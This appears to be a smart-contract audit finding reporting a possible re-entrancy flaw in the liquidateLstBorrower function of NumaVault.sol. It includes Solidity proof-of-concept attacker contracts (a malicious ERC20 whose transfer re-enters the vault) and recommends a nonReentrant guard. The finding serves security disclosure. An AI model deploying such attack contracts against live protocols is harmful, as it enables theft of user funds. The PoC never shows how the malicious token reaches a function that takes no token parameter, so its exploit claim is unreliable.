Brave Plum Shetland - Potential Re-entrancy Risk in Liquidation Function in NumaVault.sol

[sherlock-admin4]

Brave Plum Shetland

High

Potential Re-entrancy Risk in Liquidation Function in NumaVault.sol

Summary

https://github.com/sherlock-audit/2024-12-numa-audit/blob/main/Numa/contracts/NumaProtocol/NumaVault.sol#L1113-L1229
The liquidateLstBorrower function in the smart contract is vulnerable to a potential re-entrancy attack due to external token transfers. Without a nonReentrant guard, the function could be exploited to disrupt its internal state during execution, particularly when transferring tokens or calling other contracts.

Vulnerability Details

Issue: The function calls external token contracts (IERC20.safeTransfer and IERC20.safeTransferFrom) which could re-enter the contract if exploited through a malicious token contract or unexpected behavior.

Impact: Internal state variables (e.g., vaultProfit, receivedNuma, etc.) could be manipulated, leading to inaccurate liquidation outcomes or loss of funds.

Conditions: Exploitation requires a malicious token contract or another external contract capable of re-entering during execution.

Severity

High
The reentrancy vulnerability can lead to unexpected behavior in the liquidation process, potentially draining liquidity from the contract, manipulating the liquidation amount, or altering the balance of assets inappropriately.

Likelihood

Moderate to High

Impact

High

Proof of Concept (PoC)

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract MaliciousToken is ERC20 {
    address public targetContract;
    address public attacker;
    bool public reentered = false;

    constructor() ERC20("MaliciousToken", "MAL") {
        _mint(msg.sender, 1e18); // Mint initial tokens to deployer
        attacker = msg.sender;
    }

    function setTarget(address _targetContract) external {
        targetContract = _targetContract;
    }

    // Re-entrancy happens here
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        if (!reentered && recipient == targetContract) {
            reentered = true; // Prevent infinite re-entrancy
            // Re-enter the target contract
            LiquidationTarget(targetContract).liquidateLstBorrower(
                attacker,
                1e18, // Arbitrary value
                true, // _swapToInput
                false // _flashloan
            );
        }
        return super.transfer(recipient, amount);
    }
}

interface LiquidationTarget {
    function liquidateLstBorrower(
        address _borrower,
        uint _lstAmount,
        bool _swapToInput,
        bool _flashloan
    ) external;
}

// Attacker contract to trigger reentrancy
contract ReentrancyExploit {
    MaliciousToken public maliciousToken;
    LiquidationTarget public target;

    constructor(address _maliciousToken, address _target) {
        maliciousToken = MaliciousToken(_maliciousToken);
        target = LiquidationTarget(_target);
    }

    function attack() external {
        // Approve and call the liquidation function
        maliciousToken.approve(address(target), type(uint256).max);
        target.liquidateLstBorrower(
            address(this),
            1e18, // Arbitrary value
            true, // _swapToInput
            false // _flashloan
        );
    }
}

Deploy a malicious ERC20 contract that implements a re-entrant transfer or transferFrom function.
Trigger liquidateLstBorrower with this malicious token as input.
The malicious token contract re-enters the function, disrupting its execution and potentially modifying profits or vault balances.

Recommendations

Add Re-entrancy Guard:
Utilize OpenZeppelin's ReentrancyGuard library and apply the nonReentrant modifier to the liquidateLstBorrower function.

function liquidateLstBorrower(
    address _borrower,
    uint _lstAmount,
    bool _swapToInput,
    bool _flashloan
) external whenNotPaused notBorrower(_borrower) nonReentrant {
    ...
}